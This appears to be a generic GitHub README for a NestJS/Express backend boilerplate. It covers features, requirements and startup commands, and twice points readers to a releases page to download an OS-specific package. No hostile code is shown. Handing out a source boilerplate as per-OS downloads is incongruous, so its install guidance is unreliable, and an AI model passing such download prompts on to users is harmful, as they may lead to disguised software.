🚀 nestjs-expressjs-boilerplate - Your Easy Start to Backend Development

📘 Overview

Welcome to the nestjs-expressjs-boilerplate! This project offers a minimal setup using NestJS with Express.js and Webpack. It is preconfigured for RESTful APIs, making it an excellent starting point for anyone looking to build scalable backend applications.

🌟 Features

• Minimal Setup: Quickly get started without unnecessary bloat.
• RESTful APIs: Utilize industry-standard practices for your backend functions.
• Scalability: Design your application to grow smoothly.
• TypeScript Support: Write safer and more maintainable code.
• Testing and Debugging Tools: Ensure your application works correctly with built-in utilities.
• Security Features: Start with essential security measures in place.

🛠️ System Requirements

To run the nestjs-expressjs-boilerplate, your system should meet the following requirements:

• Operating System: Windows, macOS, or Linux.
• Node.js: Version 14 or above.
• NPM: Version 6 or above.
• Memory: Minimum 2GB RAM.
• Disk Space: At least 100MB available.

🚀 Getting Started

Follow these steps to download and run the application.

🔗 Download the Application

Visit this page to download: Releases Page.

📥 Install the Application

1. Open the Releases page linked above.
2. Find the latest version of the application.
3. Download the appropriate package for your operating system.
4. Unzip the downloaded file to a preferred location on your computer.

🔧 Setup Instructions

1. Open a terminal or command prompt:

   • For Windows: Search for cmd in the start menu.
   • For macOS: Use Spotlight (Cmd + Space) and type Terminal.
   • For Linux: Use your preferred terminal emulator.

2. Navigate to the folder where you unzipped the files. You can use the cd command followed by the folder path.

   Example:

   cd path/to/nestjs-expressjs-boilerplate
   

3. Run the following command to install the dependencies:

   npm install
   

4. Start the application using:

   npm run start
   

5. Open your web browser and go to http://localhost:3000 to access the application.

🚦 Running the Application

Your application is now running! You can further explore and modify it to suit your needs. Here are some basic routes you may check:

• GET /api - Tests if the server is running.
• GET /api/docs - Accesses the API documentation.

🧩 Additional Information

🔍 Project Structure

Here’s a quick overview of the folder structure you will find:

• src/ - Contains the main application code.
• tests/ - Holds all the testing scripts used for validation.
• assets/ - Stores any static files, images, or other resources.

🛡️ Security Considerations

This boilerplate includes some basic security features. To protect your API, consider implementing:

• Environment Variables: Store sensitive information securely.
• Input Validation: Ensure all incoming data is checked.
• Rate Limiting: Limit the number of requests a user can make.

📜 Contributing

We welcome contributions! Please submit your ideas or issues through the GitHub repository. Ensure your code is well-tested and documented.

💬 Support

If you encounter any issues or have questions, please feel free to submit an issue on our GitHub page.

📄 License

This project is licensed under the MIT License. Feel free to use and modify it in your own projects.

🌐 Download & Install Again

If you want to reinstall or check for updates, you can always return to our Releases Page: Download Here.

Thank you for choosing nestjs-expressjs-boilerplate for your backend development needs!